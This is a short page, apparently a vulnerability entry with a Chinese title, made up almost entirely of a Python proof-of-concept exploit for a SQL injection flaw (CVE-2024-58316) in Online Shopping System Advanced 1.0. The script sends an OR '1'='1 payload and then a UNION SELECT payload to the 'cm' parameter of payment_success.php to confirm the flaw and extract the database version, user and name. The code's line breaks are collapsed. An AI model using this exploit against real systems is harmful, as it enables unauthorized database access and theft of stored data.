CVE-2024-58316 Online Shopping System SQL注入漏洞

# CVE-2024-58316 SQL Injection PoC # Target: Online Shopping System Advanced 1.0 # Vulnerability: payment_success.php 'cm' parameter import requests import sys target_url = "http://target.com/payment_success.php" # Basic SQL Injection test - detect vulnerability def test_sql_injection(): # Normal request normal_params = {"cm": "12345"} # SQL Injection payload - triggers database error payload_params = {"cm": "12345' OR '1'='1"} try: print(f"[*] Testing target: {target_url}") # Test normal request response1 = requests.get(target_url, params=normal_params, timeout=10) print(f"[+] Normal request status: {response1.status_code}") # Test malicious request response2 = requests.get(target_url, params=payload_params, timeout=10) print(f"[+] Malicious request status: {response2.status_code}") # Check for SQL error indicators if "sql" in response2.text.lower() or "mysql" in response2.text.lower() or "syntax" in response2.text.lower(): print("[!] SQL Injection vulnerability confirmed!") return True else: print("[-] Vulnerability not detected via error-based method") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False # Extract data using UNION-based injection def extract_database_info(): # UNION-based payload to extract database version and user payload = "12345' UNION SELECT 1,version(),user(),database(),5,6,7,8,9,10-- -" params = {"cm": payload} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Database info extraction response received") # Parse response to extract database details return response.text except requests.RequestException as e: print(f"[-] Extraction failed: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2024-58316 SQL Injection Exploitation") print("=" * 60) if test_sql_injection(): print("\n[*] Attempting data extraction...") extract_database_info()